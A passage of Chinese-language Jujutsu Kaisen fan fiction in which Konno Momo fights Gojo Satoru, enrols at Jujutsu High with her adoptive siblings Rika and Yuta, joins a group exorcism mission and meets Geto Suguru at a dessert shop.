伊地知不敢吭声。 您看起来真的是好人吗? “唉,现在的年轻人,可真是……” 话音未落,他的身形闪现了一下。一道劲风自他身后破空而来,原本站着的地方瞬间炸开,沙石飞溅,露出了一个大坑。 “哇哦。”五条悟惊叹,“好强的力量。” 他慢悠悠地转身,朝来人打了个招呼:“哟,桃酱。” “?”那一瞬间,今野桃的心猛地颤了一下,还以为五条悟有之前周目的记忆呢。 但仔细一看,原来是他在故意捉弄自己。 “你要把我的弟弟和妹妹带到什么地方去。”她沉着声音,目光紧紧盯着他。 五条悟咂了咂嘴,笑道:“当然是带去玩呀。” 他故意说得含糊不清,好激怒眼前这个看起来已经非常生气的女生。 将实力展示给他看吧,反正他可是最强…… 轰——! 无下限术式自动展开的瞬间,五条悟瞳孔微缩。冲击波震得他竖起来的发丝飘扬,脚下沥青路面呈放射状龟裂。 “你身上没有杀意和恶意。”他看见女生在不远处站定,目光沉静如水,“把你的来意说清楚,我可以放你一马。” “哦?口气挺大。”五条悟掸了掸肩膀上不存在的灰尘,笑意更深,“你可以试试。” 喜悦自心底蔓延,兴奋感像电流般窜过脊椎。他原以为乙骨已经是意外之喜,没想到真正的宝藏在这里。 女生抬手又是一招直冲他要害,五条悟做好了准备,故意撤掉了防御,不闪不避准备接下她这一招。 一直躲来躲去的,怎么能体现出老师的本事呢。 他胸有成竹地想,反正他已经摸清楚了这个女生的力量有多大,虽然是超出了他的预期,但还在可以应对的范围之内。所以他只要…… 砰! 坚硬的水泥墙壁上出现了一个大大的坑洞,隐约能看见白色的发丝一闪而过。 “咳咳咳……”无良教师艰难地从洞里爬出来,脑袋上挂满了问号。 这不对吧?刚刚他怎么会接不住她的招数?明明在她出招的时候,他就已经想好了应对的方式,但…… “是术式吗?”绷带散开,那双湛蓝色的眼睛里盈满了兴奋,“让我猜猜看,是可以削弱对手的术式?” 女生没有回答,只是攥紧了拳头,再一次朝他冲了过来。 短短几秒钟,两人过了数十招。 忽地,在一个极短暂的空档里,五条悟被抓住了破绽,他腾空的身体骤然僵住,四肢出现明显的不协调,就像提线木偶被剪断了绳索。 女生显然不会放过这个机会,一拳打在了他的腹部。 久违的疼痛从被命中的地方蔓延到四肢,反转术式本能地运转,这种伤势几个呼吸间就恢复了。 五条悟落地,接连后退了两三步。 伊地知倒吸了口凉气,往车门后面躲了躲,只从角落里伸出一个摄像头。 真好……啊不是,真吓人啊,五条老师竟然在挨打耶!。 “oi。”五条悟敲了敲伊地知的车门,从后面露出半张阴森森的脸,“你录的视频,现在删掉。” “好、好的!”伊地知哆嗦着删掉了视频,展示给五条悟看。 对方满意地点点头,一瘸一拐地坐上了车:“走吧,我们先回去。我就不信了,区区三个学生,我还会搞不定吗?” 伊地知怯怯点头,启动了车子。 可惜,五条老师还是不懂打工人。重要的资料,是必须备份至少三处才行的呀。 伊地知默默地想,而且,他也不会传给别人,只给家入医生看看,应该没关系吧?。 在五条悟的热情邀请下,今野桃、祈本里香和乙骨忧太还是离开了普通学校,进入了高专就读。考虑到三人都是第一次接触咒术界,所以他们全部被安排到了一年级。 在宿舍楼下,他们遇到了刚刚上完课的一年级学生。 “哇,这是?”熊猫惊讶地瞪大了眼睛,“该不会是新生吧?!” 禅院真希看了看两边相同的人数,嘴角抽了抽:“我都怀疑五条老师是不是在外面偷偷又开了个班。” “鲑鱼。”狗卷棘表示认同。 五条悟得意地仰天大笑两声,对他们竖起了大拇指:“这可是伟大的五条老师辛辛苦苦找来的新生哦!是不是很厉害!” 不得不承认,确实挺厉害的。 “真没想到,今年这一届的一年级人数竟然快比全校学生的人数还要多了。”熊猫感慨。 “挺好,”禅院真希轻哼一声,眼底却闪过一丝欣慰,“说明咒术界的新鲜血液越来越多了。” 有了新鲜血液,才会有新的未来。 五条悟揽住两个学生的肩膀,笑吟吟地说道:“没错没错,我也是这样想的。” 他转头朝乙骨忧太招了招手:“来,我们上去看看你的宿舍,隔壁那栋楼就是女生宿舍,因为高专人少,所以你们可以随便选哦。” 乙骨忧太抬头看了看古朴典雅的宿舍楼,微微偏过头,和祈本里香交换了一个眼神。两人伸出手,分别握住了他们的姐姐。 里香抿了抿唇,开口道:“五条老师,一定要分开住吗?” “诶?”五条悟歪了歪头。 “我们从小一起长大,都没有分开过。”祈本里香稍稍低下了头,眼睛从下往上地看着他,目光委屈中带着几分祈求,“既然宿舍很多,我们可不可以住在一起呢?” 她紧紧贴在今野桃的手臂上,落后她小半边身体。旁边的乙骨忧太也同样如此,三个人站成了一个三角形,而最顶端的就是年长的姐姐。 乙骨忧太弓着背,放在姐姐腰上的手掌自身后绕到前面,把她紧紧扣住。 “不想……离开家人。”他怯懦地说道。 五条悟略一皱眉。 “拜托了,老师,不要让我和姐姐还有忧太分开。”祈本里香咬着嘴唇哽咽道,用另一只手抓住了乙骨忧太的衣服,“感受不到姐姐和忧太的呼吸,我会做噩梦的。” 她的声音里仿佛带着一股魔力,让人忍不住就按照她的意思去做。 可惜 使用咒力的方式还太过粗糙,对五条悟毫无作用。 “不行啊。”五条悟啧了一声道,“宿舍楼里还住着其他男生呢。” “我们选一个偏僻的角落,求求你了,五条老师。”祈本里香软着声音说道。 熊猫眼神恍惚地开口道:“是啊,五条老师,你就成全他们吧。” “……鲑鱼。” 禅院真希用力眨了眨眼睛,大脑和身体在极力对抗这股力量,没有余力开口说话。 五条悟烦恼地挠了挠脸颊:“都这么大了,就算是兄弟姐妹也不能睡在一个房间吧……” “没关系,我们没有血缘关系。” “这样啊,原来你们……哈?!” 几人异口同声的惊叫重叠在一起,惊起了一片飞鸟。 “你们没有血缘关系?!” 第185章 亲姐弟不能睡一张床。 所以我们不是亲姐弟。 很好,逻辑通! 祈本里香在众人惊愕的目光中,挺直腰板振振有词地说道:“我们从小一起长大,一直都是睡一起的呀。” 啊? 熊猫真的认真思考了一下,现在人类之间的情感已经复杂到这个程度了吗?它偷偷用胳膊肘捅了捅同样有姐妹的真希,收获一个“别问我”的白眼。 “不过虽然我们不是亲姐弟,但在我心里,我们是比血缘关系更加亲密的家人。”祈本里香的头靠在了今野桃的肩膀上,“血缘是被动决定的,而姐姐和忧太是我主动选择的。比起那些依靠血脉连接起来的关系,当然是我们之间感情更好。” 这么说……似乎也没错啊。 大家忍不住赞同祈本里香的话。 “好吧,你说的有道理。”五条悟一拍巴掌,把众人从里香的混乱逻辑里拽出来,“但是学校不允许男女混住,所以你可以跟你姐姐一起睡,忧太不行。” “可是……”祈本里香还想说话,却被乙骨忧太制止了。 他的脸上挂着温柔的笑容,对里香摇摇头:“就听五条老师的,不要为难他。” 祈本里香鼓了鼓脸颊,像只生气的河豚,最终不情不愿地说道:“那好吧……” 五条悟暗暗松了一口气,这个叫做里香的女孩子还挺难缠的。他的目光落在了全程装聋作哑的今野桃身上,她正仰头数着云朵,任由两只“树袋熊”挂在自己身上,淡定得仿佛局外人。 明明她才是风暴的中心,是连接这段关系的锚点。 “桃酱怎么不说话呀?”他故意拖长音调,不怀好意地说道,“看见弟弟妹妹争夺你,难道不开心吗?” 今野桃微微抬头望着天空,毫不在意自己被夹在中间挤来挤去,淡然地回道:“习惯了。” 这种时候是不能开口的,一旦开口,他们的炮口就要对准她了。 而且……她可不觉得忧太和里香会是听话的人。 “好了,既然大家都碰面了,那么中午就一起吃饭吧!”五条悟开心地说道,“你们的行李已经邮寄到门卫处了,到时候自己记得整理一下。” “好。” 七个人走在学校的林荫小路上,五条悟头一回有了自己真的是班主任的充实感。 ——怎么也得多一点学生才能组成班级吧。 食堂里,六个学生分坐在长桌的两边。左边是今野桃、祈本里香和禅院真希,右边是乙骨忧太、熊猫和狗卷棘。 “真不错,这样就能分成男女两队了!”五条悟看着把长桌坐得满满当当的学生,满足感和自豪感油然而生。 这些都是即将长成的种子啊,好好呵护,未来就能成长为参天大树。 “诶?”熊猫的爪子突然僵在半空,它指着自己说道,“我也是男的吗?” 五条悟促狭开口:“你也可以选择成为女生。” “那还是算了。” 禅院真希叉起一块煎猪排,平淡地说道:“如果我在女厕所看见你,我会杀掉你的。” “哈、哈哈……”熊猫干笑两声,开始干饭。 乙骨忧太小心地切割着碗里的烤肉,把瘦肉和肥肉分开,拨到一边。 不必等他开口,下一秒,一双筷子就把它们夹走了。 今野桃习以为常地将烤得酥脆的肥肉吃下,把自己刚刚切好的瘦肉夹给了乙骨忧太。 “虾子吃吗?”祈本里香问他。 “不用了,我想吃蔬菜。”乙骨忧太摇摇头。 祈本里香将碗里的耗油炒生菜夹给他,顺走了他碗里切得方方正正的两块烤肉。 今野桃低头笑了笑,把自己的蔬菜天妇罗夹给他。 这番小学生似的分享被大家看在眼里,另外三人的表情都有点古怪。 这应该也算是感情好的一种表现吧? 就是有点太过黏黏糊糊了。 “忘了自我介绍。”熊猫的话吸引了他们的注意,它笑呵呵地说道,“我叫熊猫。” “熊猫?你是玩偶吗?”祈本里香好奇地问道。 “如果要说本体的话,应该是咒骸,看作是有自主意识的玩偶也可以。”熊猫好脾气地回答。 “禅院真希,没有咒力,也看不见咒灵,擅长体术。”禅院真希咽下口中的食物,放下筷子说道。 最后一个有着白色发色的男同学没有开口说话,只是低头噼里啪啦地在手机上敲打着字,然后展示给新来的同学看。 [狗卷棘,术式是咒言,语言会形成诅咒,所以平时会用特定语言替代日常用语,请见谅。] 原来如此,难怪这位男同学一直不说话,只吐出奇怪的词语。 “我叫今野桃,”年长一点的女生浅笑道,“术式是‘战略视界’,可以理解成游戏里的地图。” “祈本里香,术式是心傀演舞,可以用语言或行动来迷惑他人。”祈本里香单手托着下巴,那颗小痣似乎也变得更加生动,她用手指卷起自己的一缕发丝,漫不经心地说道,“顺便一提,熊猫君和狗卷君的抗性有点低哦。” “诶?我吗?”两个男生对视一眼,仿若被晴天霹雳打中。 糟糕,这位新同学的性格似乎不是很好,总感觉以后会被玩弄…… 乙骨忧太不好意思笑了笑,垂下的黑色刘海遮住了他的额头:“我叫乙骨忧太,术式是复制和模仿。” 不得了,新来的几个同学好像都很厉害的样子。 熊猫讷讷点头,招呼大家:“吃饭吧吃饭吧,下午还有课呢……” 三个新生像水滴汇入河流,很快就融入到了高专生活中。经过半天时间,大家也算是初步了解了他们三人。 祈本里香对外人是挺温柔的,那种偏执的占有欲仅针对她的两个家人。只要不触碰她的红线,她很好说话。 乙骨忧太腼腆内向,言行还算谦逊,是个和普通咒术 师不太一样的家伙。 在体能课上,挨打以后的他会本能地寻找姐姐的方向。 就在熊猫想要嘲笑他时,它赫然发现,他的每一次回头都能和今野桃恰好对视,仿佛射出去的箭完美命中靶心。 嘶,这、这是双向奔赴吗? 放学后,大家在教学楼下分开。熊猫虚着眼看三人依依不舍地告别,临走时乙骨忧太还在恋恋不舍地回望。 直到两个女生的背影彻底消失在楼梯拐角,他才失落地收回目光。 “分离这种事情,我们得习惯的。”熊猫拍拍他的肩膀,“毕竟人总会长大。” 乙骨忧太对它抿唇笑了笑,没有回答:“我要去整理行李了,谢谢熊猫同学。” “不客气嗷。”熊猫指着空房间说,“你要住哪一间?只要是空的都行。” “那就……周围没什么人的,可以吗?” “行。” 乙骨忧太选择了走廊尽头的房间作为宿舍,因为光照不好,所以旁边都没人。 热情的熊猫和狗卷帮新同学搬行李、打扫卫生,等到一切做完,已经是深夜。大家潦草地洗了个澡后,纷纷回到了自己的寝室。 高专的夜晚很安静,只有风吹过树梢发出来的簌簌声,间或夹杂着几声鸟和虫的鸣叫。 狗卷躺在床上,酝酿着睡意。 忽然—— 咚。 有什么东西坠落,一声不轻不重的闷响惊得他猛地睁开眼。他赤着脚,小心翼翼地摸到窗边,冰凉的木地板让他打了个寒颤。窗帘缝隙间,月光下的灌木丛微微晃动,却不见任何活物的踪影。 奇怪…… 是猫咪?还是刺猬? 他揉了揉惺忪的睡眼,正要转身,余光却瞥见女生宿舍有一间亮着灯。昏黄的灯光在黑夜里格外显眼,像黑夜海面上指引归途的灯塔,又似冥冥中某种无声的召唤。 第186章 深夜的咒术高专一片寂静,月光如水般倾泻在女生宿舍的窗棂上。乙骨忧太顺着灯光的指引,飞快地从外墙攀爬而上,赤足踩在窗框上时,隐约发出一点细微的响动,像一片羽毛轻盈地落下。 当越过半开的窗户后,他动作轻巧地将窗户关紧,连窗帘也闭拢得没有一丝缝隙。 然后,他才带着几分扭扭捏捏地转过身。 暖黄的灯光为整个房间蒙上一层朦胧的薄纱,所有的棱角都被柔化,人物和景物的轮廓变得朦胧起来,仿佛是梦中才会出现的场景。 今野桃靠坐在床上,手上还捏着一本书,手指轻轻地搁在书页上。 看见乙骨忧太的出现,她微微侧头,嘴角扬起,露出似是无奈又似是好笑的弧度。 她朝乙骨忧太招了招手,那双眼眸在灯光下流转着温柔的光彩,她轻声说道:“来。” 仿佛是在呼唤一只小狗,语气里带着亲昵和喜爱。 乙骨忧太的喉咙紧了紧,他看见宽敞领口下,那一截像雪一样白皙的脖颈。 他现在真的是清醒的吗?还是说,已经在梦里了呢? 乙骨忧太小心翼翼地爬上床,从侧面贴近今野桃。暖和的被子驱散了他身上的寒气,少年人的体温升得很快,他的胸膛贴上她的大腿,手臂环过她的腰肢。 他闻到了姐姐身上甜腻的气息,不仅仅是沐浴露的味道。 “忧太……?”含糊的声音从另一边响起,原本像是小猫一样蜷缩着的祈本里香打了个哈欠,深褐色的瞳孔在灯光下泛着琥珀般的光泽,“你好慢啊……” “抱歉。”乙骨忧太腼腆地笑了笑,将脑袋轻轻搁在今野桃的小腹上。随着她平稳的呼吸,他能清晰地感受到那柔软的起伏,温暖的体温透过薄薄的衣料传来,让人安心得想要叹息。 书页翻动的沙沙声在静谧的房间里格外清晰,像是最温柔的催眠曲。把他拽入黑甜的梦乡。 但姐姐还没有睡觉,他强撑着困意,不愿独自沉入梦乡:“桃姐姐在看什么书?” “《到灯塔去》,一本女性作家写的书。”今野桃将书合上,轻轻放在了旁边的床头柜上。 乙骨忧太变得有些焦虑不安,他睫毛轻颤着,小声问道:“桃姐姐为什么不看了?是我打扰到你了吗?” “没有。”今野桃摸了摸他的头发,把本就不够明亮的台灯熄灭,“只是该睡觉了。” 她的猎物已经跳进了陷进里,诱饵自然也就不需要了。 屋里陷入漆黑,那些晦暗的、隐秘的心思开始浮动。 乙骨忧太似懂非懂地点头,在今野桃滑进被子里后,再次黏了上来。 他的下巴抵着她的肩膀,温热的嘴唇贴在她的肌肤上。不敢用力咬下去,只是细细地碾来碾去。 “忧太真的很像小狗啊。”今野桃失笑,指尖捏了捏他柔软的脸颊,“好了,快睡觉吧。” 乙骨忧太抬起头,露出一双下垂的狗狗眼,黑色的瞳孔里闪烁着湿漉漉的碎光。 “那姐姐喜不喜欢小狗呢?” “喜欢。”她拍了拍他,“最喜欢小狗了。” 话音未落,她的手臂就被不轻不重地咬了一口。祈本里香从被子里冒出一个脑袋尖尖,睫毛扑闪扑闪地眨着。 “那我呢?”她细声细气地问道,用侧脸蹭着她的手,“姐姐不喜欢我吗?” “……都喜欢,都喜欢。” 今野桃也算是过上了猫狗双全的日子…… 清晨的阳光透过玻璃窗洒进教室,木质课桌上跳跃着细碎的光斑。 “早上好!”学生们陆陆续续地来到了教室,接二连三开门的声音让跟随夜蛾正道许久的熊猫不由地发出了感慨,“终于有点在上学的感觉了呢。” 狗卷棘从它身边经过,头发上还带着水汽。 “鲑鱼。”他简短地应和着,声音略有点沙哑。 禅院真希坐在前排靠门的位置,认认真真地擦拭着自己的刀,闻言开口道:“说不定以后会有越来越多的咒术师,到那时,咒术界也会变得不一样吧。” “那肯定的啦!” 年轻的学生们还怀揣着对未来的美好期望,他们是生机勃勃的小树,只等着长大的那天。 “对了,你们吃早点了吗?”熊猫忽然问道,“早上的时候,我没在食堂看见你们啊。” “鲑鱼。”狗卷棘忽然也开口道。 不仅没有在食堂看见他,他离开寝室的时候,好像也没看见这位新生。 难道是因为寝室距离太远了吗? 本来他想去敲敲门的,但出于礼貌还是作罢,毕竟他们也才认识一天而已。 “吃、吃了的。”乙骨忧太弯了弯眼睛,目光莫名有些飘忽,“谢谢关心。” 禅院真希瞄了他们一眼,很快又收回了视线。 今野桃和祈本里香也选择了比较偏僻的屋子作为寝室,但身体素质远胜寻常人的禅院真希还是能够听见一些响动。 昨天晚上她听见了脚步声,很轻,可能是祈本里香的。虽然没有血缘关系,但她们的感情真好啊。 禅院真希想起了和自己血脉相连却渐行渐远的姐妹。 不知道真依她现在怎么样了…… 上午的文化课结束,下午就是体能课。午后的阳光懒洋洋地铺展在高专的训练场上,土地被晒得发烫,蒸腾起细微的热浪,连空气都变得扭曲。祈本里香站在场中央,纤细的手指灵活地转动着竹棍,在阳光下甩出一道道劲风。 “那么,就请熊猫君手下留情啦。”她对熊猫眨了眨眼睛。 熊猫的爪子猛地僵在半空,白色的绒毛下透出明显的红晕。它结结巴巴地回道:“好、好的。” 禅院真希捂脸叹气:“在手下留情前,先把自己对咒力的抗性提高吧。” 祈本里香抿嘴一笑,下一秒,竹棍带着破空声狠狠抽在熊猫柔软的腹部,发出“啪”的一声闷响。 “哎哟!”熊猫圆滚滚的身体在地上弹了两下,它被一棍子抽醒了,“再来!” 砰! 乙骨忧太的竹剑和禅院真希的木棍碰撞在一起,两人的身影在沙地上快速交错,脚步扬起细小的尘埃。 “还不错嘛。”长于体术的女生笑道,“也并非完全没有基础。” “在入学前,桃姐姐给我们训练过一段时间……”乙骨忧太仓促格挡,被击中了几次,但他没有吭声,额前的碎发已经被汗水浸湿。 狗卷棘双手插兜,银发下的目光若有所思地投向倚在树下的今野桃,开口道:“鲑鱼子?” “你想跟我过两招吗?”今野桃微笑着说,眼底闪过一丝狡黠,“虽然这么说可能有些自负,但真要动起手来,你们恐怕都不是我的对手。” 训练场上的空气瞬间凝固。四人同时停下动作,却各自怀着不同的心思。 “那是理所当然的事情呀。”祈本里香笑嘻嘻地开口,“桃姐姐就是最厉害哒。” “你这么强?”禅院真希的眼睛一亮,熊熊战意燃烧起来。 乙骨忧太却盯着狗卷棘被衣领遮住的唇角,困惑地眨着眼:“桃姐姐怎么听得懂狗卷同学的话?” “嘶……”熊猫突然右手握拳,砸在左手的掌心,“所以那个视频是真的啊,你真的打赢了五条老师?” “什么?!” 真的假的?她打赢了五条老师?! 难道是五条老师放水了? “你从哪看见的?”一个慵懒的嗓音突然从熊猫背后飘来。 熊猫还保持着思考的姿势,毛茸茸的爪子托着下巴,表情严肃地说道:“那当然是……” 话没说完它就卡壳了,仿佛真的变成了一个玩偶,它机械般一顿一顿地扭头,看见身材高大的五条老师正站在它的后面,嘴角扬起危险的弧度。 “快说呀,熊猫,你从哪里看见的?”他催促道。 熊猫咽了口口水,颤抖地回答:“是在夜蛾校长那里看见的视频,不过校长好像是从家入医生那里得来的……” 在五条悟逐渐变得阴沉的表情下,熊猫最后非常小声地补充了一句—— “现在好像挺多人都有那个视频来着。” “哈哈。”五条悟活动了一下手臂,指节捏得咔咔作响,棒读道,“等下就去扇伊地知两巴掌好了。” 嗯?关人家伊地知什么事? 熊猫不能理解,它赶紧转移话题。 “老师是有什么事情吗?” “啊,差点忘了。”五条悟打了个响指,“集合一下,我有点事情要宣布。下午有个任务需要人手,难度不高,大家一起去,就当做是联谊会好了。” “哇 哦,联谊会!” “会有大餐吗?” “当然当然,善良的五条老师请客哦!” “好耶!” 众人发出欢呼。 五条悟走到乙骨忧太的身边,手臂搭在他的肩膀上,笑吟吟地问道:“忧太昨天晚上休息得怎么样?” “挺好的,谢谢老师……”乙骨忧太露出一丝笑意。 五条悟突然弯腰,两根手指捏住了他脸颊上的软肉,把他的脸搓来搓去,压低了声音说道:“忧太,你是不是以为,高专没有监控呀?” 乙骨忧太的身体骤然僵住。 第187章 乙骨忧太的额头上冒出了一点冷汗,在老师戏谑的目光里,他已经可以想到对方从监控中看见自己翻窗的样子了。 他不会要被点名批评吧? 其实这都无所谓,但如果老师以违反校规让他退学怎么办?他会和姐姐还有里香分开吗? “五条老师……”乙骨忧太嗫嚅着,用祈求的眼神看着他,像是走在路上被踹了一脚的小狗。 五条悟歪着头欣赏了几秒钟后,笑了出来。 “骗你的,高专没有监控哦。”他笑嘻嘻地说道,“那些老古板连空调都不愿意装,怎么可能愿意装监控啦。” 被欺骗的乙骨忧太顿时泪奔出声:“五条老师!” 五条悟揉了揉耳朵:“听见了听见了,这么大声干嘛啦。” 就在这时,一只手拍了拍五条悟的肩膀。回过头,今野桃赫然站在他身后。她面带微笑,很有礼貌地开口道:“你们在聊什么呢?能跟我也说说吗?” 糟糕,欺负小孩被家长发现了! 五条悟吹了两声口哨,仿若无事地回道:“没什么啊,关心一下新同学嘛。走吧走吧,做任务要紧。” 伊地知开着七座商务车来接他们了,一辆不大不小的车坐得满满当当,熊猫蜷缩在角落里不敢说话。 “不知道什么时候能换成两辆车。”五条悟感慨,“或者干脆开大巴好了。” 还挺能想的,忘记自己一个星期前班上还只有三个人的可怜场景了。 伊地知顶着头上的一个大包,吸了吸鼻子。 呜呜呜,他有跟家入医生说,不要把视频传给别人的啊,为什么要打他…… (家入硝子:夜蛾校长又不是别人。) (夜蛾正道:庵歌姬又不是别人。) (庵歌姬:冥冥前辈又不是别人。) …… 这是一个中等难度的探查学校的任务,毕竟学校总是有关于建立在墓地上的传言,很容易出现各种灵异事件。 众人还没抵达时,远远看去就发现这所学校笼罩在一片阴翳之中,灰蒙蒙的咒力像一层黏腻的雾气,缠绕在建筑的每一个角落。普通人或许只会觉得天气阴沉,但在咒术师的眼中,整片地区都在散发着某种令人不适的、粘稠的气息。 简直就是恐怖片现场了。 当咒术师,还真的得有一颗大心脏才行。无怪学生那么难找,退学率那么高。 任务的相关资料发到了学生们的手里,内容简洁明了:祓除咒灵,解救幸存者。 “那么分组的话,就两人一组吧。熊猫和忧太一组,真希和里香一组,棘和小桃一组。”五条悟懒洋洋地瘫在副驾驶上,手指随意地划拉着手机屏幕,“有什么异议吗?” “啊……”乙骨忧太和里香看了看身边的姐姐,脸上都露出了失落,“为什么不能和桃姐姐在一组呢……” 五条悟打了个长长的哈欠,像猫一样伸展了下手臂:“这可是你们第一次做任务,总要有人带一带。” 其实他安排得很有道理。 里香对男性有种近乎本能的排斥,和真希搭档显然更合适;熊猫和棘倒是跟谁都能配合,但今野桃似乎总能精准理解棘那些晦涩的饭团语,省去了不少沟通麻烦。相比之下,如果让忧太和棘一组,光是猜意思就得浪费不少时间。 忧太和里香没再反驳,但两人的嘴角明显耷拉下来,眼神里还带着点委屈。 管他呢,反正老师安排得没错。 “这个咒灵的等级介于二级和一级之间,对于你们来说应该不难。”五条悟坐在车上,像赶小鸡似的把他们轰下车,“两个小时后我来接你们,动作麻利点,不然就赶不上大餐了哟。” 话音刚落,车子已经扬长而去,只留下一缕尾气在空气中飘散。 倒不是五条悟偷懒,而是抓住这个间隙,他还有一个任务要完成。 六人站在学校门口,面面相觑,良久,今野桃笑道:“走吧,那我们就速战速决。” 学校的占地面积不大,她简短地开口道:“我们就干脆分成左右两边,一队去左边,一队去右边。我和狗卷在中间随时支援你们。” “支援我们?”禅院真希挑眉,“很自信的说法。” “只是实话实话而已。”今野桃揉了揉祈本里香的脸颊,温柔地说道,“有什么危险,不要害怕,姐姐马上就到。” “是~”里香像只撒娇的小猫般蹭着姐姐的掌心,眼睛弯成月牙,“我会好好表现的!” “优先保护好自己。”今野桃又看了一眼乙骨忧太,“只要你们活着,不管什么危险我都会替你们扫平。” 她说得如此轻描淡写,仿佛清除危险就像拂去衣袖上的尘埃。 她就是这样,把两个比自己小却毫无血缘关系的孩子笼罩在自己的羽翼之下的吗? 羡慕之情从另外几人的心里悄悄升起,不管有没有兄弟姐妹,此刻都觉得嘴里发酸。 熊猫和忧太去了左边,真希和里香去了右边,狗卷棘左右看看,选择和今野桃往中间的操场走去。 “大芥?”他试探性地开口,声音里带着些许迟疑。 今野桃头也不回地答道:“没关系的,我相信他们可以。” 狗卷棘点头:“金枪鱼。” “我也会一直注视着他们的啦,不管他们愿不愿意成长,我都可以哦。”今野桃耸了耸肩膀,“不如说有时候我更希望他们成长得慢一点,多依赖我一点。享受着弟弟妹妹对自己的仰望和敬爱,可是姐姐的特别福利呢。” 狗卷棘哽了一下。 忽然,一个黑影闪过,狗卷棘猛地转身,脱口而出:“腌高菜!” “明白,放心吧。”今野桃反手抽出一根棍子,狠狠敲在了黑影上,对方立刻化作了一团雾气。 她早就在地图上看见它了,但因为太过弱小,所以完全没把它放在眼里。 狗卷棘抿了抿唇,眼中闪过一丝疑惑。 好奇怪,为什么这个新同学给他一种很熟悉的感觉。 因为咒言术的问题,他在入学以后,和同学们沟通时总会出现一点小问题,当然,在手机的帮助下,这些问题很快就能解决。 但手机转换毕竟 需要时间,所以他们彼此交流的时候,就有点像是生锈的齿轮,转动时总是要慢半拍。 可跟她说话就没有这种感觉。 她似乎能轻易理解他几个代替词的含义,甚至能领悟他没有说出口的弦外之音。 是天赋吗?还是…… 狗卷棘的疑惑也是乙骨忧太的疑惑,他跟在熊猫的身后,试探性地问道:“熊猫同学能听懂狗卷同学说的话吗?” 熊猫挠了挠头:“能听懂一点吧。主要是要结合语境去理解,而且棘因为不方便说话,所以想表达的意思都挺简单的。” “这样啊……”乙骨忧太的眉心微微蹙起,并不因此而感到放松。 咒灵很快就被清除干净。幸存的学生们蜷缩在乙骨忧太负责的教学楼里,而真希和里香那边遇到的咒灵更是弱小得可怜,三两下就解决了。 说来好笑,那只实力已经逼近一级的咒灵恰好撞见了他们当中实力最强的那组,被今野桃和狗卷棘轻而易举地解决了。 最后一算,总耗时不过四十分钟,其中一大半是在走路。 “那我们要在门口等五条老师一个小时吗?”禅院真希看了一眼时间,不耐烦地说道,“很浪费时间诶。” “五条老师大概在做任务,没有回我。”熊猫叹气道,“我们先去餐厅吧,伊地知先生把餐厅地址发给我了。” 一行人离开学校,顺着导航朝目的地而去。在距离终点不远处的时候,今野桃忽然开口道:“稍等一下,我想去买个甜品。你们先去餐厅,我很快就来。” “我也要跟姐姐一起去。”祈本里香立刻抱住她的手臂。 乙骨忧太虽然没有说话,却默默往今野桃身边靠得更近了些。 “行,那我们先去,你们注意安全。”真希挥了挥手。 共同做任务确实是最好地增进感情的方法,原本不太喜欢里香的真希,现在也能友好相处了。 两边就此分开。今野桃想去的甜品店很有名气,味道应当也不错,门口排了很长一条队伍。三人站在队伍末尾,有一搭没一搭地聊天。 祈本里香靠在今野桃的身上,,压低声音说道:“姐姐是不是故意的呀?” “什么故意的?”今野桃嘴角噙着若有若无的笑意反问道。 “就是故意把我和忧太分到左右两边啊,其实姐姐早就知道那个咒灵在中间了吧?”女生狡黠地眨眼,“毕竟姐姐的术式是地图嘛。” 今野桃轻轻弹了下她的额头:“就算是做任务,也要循序渐进。” 怎么能让新生第一次就直面一级咒灵呢,也就只有五条悟能做得出来吧。 对他来说,特级、一级、二级有什么区别?都是一招秒罢了。 哦不对,特级可能更经打一些。 “我们买一个大点的蛋糕吧,跟五条老师还有大家一起吃,毕竟五条老师请客。”今野桃提议道,“不过你们可以挑选自己喜欢的口味。” “好耶!我要草莓味的!” “可以要巧克力夹心吗?” 就在三人聊天时,前面的队伍传来了一阵骚动。今野桃被推搡得往后退了一步,谁料竟然踩到了后面人的鞋子。 “不好意思。”她回头道歉。 男人伸手按住她的肩膀,一缕黑色的刘海垂下。他穿着黑色的长袖衫,狭长的眼睛微微眯起,笑着回道:“没关系呀。” 第188章 男人温和的目光在三个年轻人身上流转,嘴角噙着若有若无的笑意:“你们都是高专的学生吧?” 乙骨忧太和祈本里香瞬间绷紧了身体,变得警觉:“你是……?” “我啊,大概也能算得上是你们的学长吧,只是离开学校很久了,”他轻轻叹了口气,眼神变得深远,随后声音忽然轻快起来,“也认识你们的五条老师哦。” 认识五条老师? 两人犹豫地看向今野桃,得到了对方微不可见的颔首。 桃姐姐说他没有恶意,那应该就不是什么危险人物了。 “你好。”乙骨忧太谨慎地问候,祈本里香则保持着甜美的微笑,“请问有什么事吗?” “没什么事,就是听见你们的话有些好奇。”男人的手指抵在下巴上,沉吟道,“因为我也有两个妹妹,她们也有术式,今年读初三了呢,我就是来给她们买可丽饼的。” 哦,原来是未来的学妹呀! 五条老师知道了一定会很高兴吧。 乙骨忧太略微放松:“抱歉,我们也是刚刚才入学不久,没办法给你更多信息,不过我觉得高专真的是一所很不错的学校!” “原来如此。”男人点头说道,“高专确实是个好地方,能够保护未长成的小咒术师。这也算是咒术师们,最后的乐园吧。” 虽然被姐姐确定不是坏人,但乙骨忧太总觉得这个男人说话的方式让人不舒服,字里行间透着说不出的违和感。 “您说错了。”今野桃上前一小步,把乙骨忧太拉到了身后,“咒术师们不需要乐园,我们是为了保护他人而成为咒术师的。” 男人脸上的笑容凝固了。当敛去笑意时,他垂下眼眸的表情就显得有些阴鹜。 “保护……他人?”他咀嚼着这个词,嘴角扯了扯,似是讥笑,又似是悲哀,“你觉得,咒术师是为了保护他人而存在的吗?” “强者本来就该庇佑弱小者。”今野桃的回答干脆利落,“既然拥有超乎寻常的力量,就应当用来保护弱者,这是我们的责任。” 男人沉默了。他的齿关咬得很紧,让下颌线绷得笔直。 “哈哈……很有趣的说法。”他的每个字都像是从牙缝里挤出来,“我叫夏油杰,能否知道一下你们的名字呢?” “乙骨忧太。” “祈本里香。” “唔……我叫今野桃。” 三个不一样的姓氏让男人愣住了:“你们,不是亲姐弟?” “对呀对呀。但不是亲姐弟又有什么关系呢?”祈本里香软软地黏在今野桃身上,撒着娇说道,“能再给我讲一遍吗,姐姐,你在山上捡到我的故事!” 乙骨忧太没有里香那么顺畅,但也红着脸靠了过来:“我记得,姐姐是在医院门口把我捡到的。” 那一天他出院,却迟迟没有等到家长来接,饥肠辘辘的他就这样被今野桃捡了回去。从白天到黄昏,才终于接到了家长的电话。 今野桃摸了摸两人的头发,随后抬头对男人说道:“我加入高专,有一个原因就是为了保护家人。” 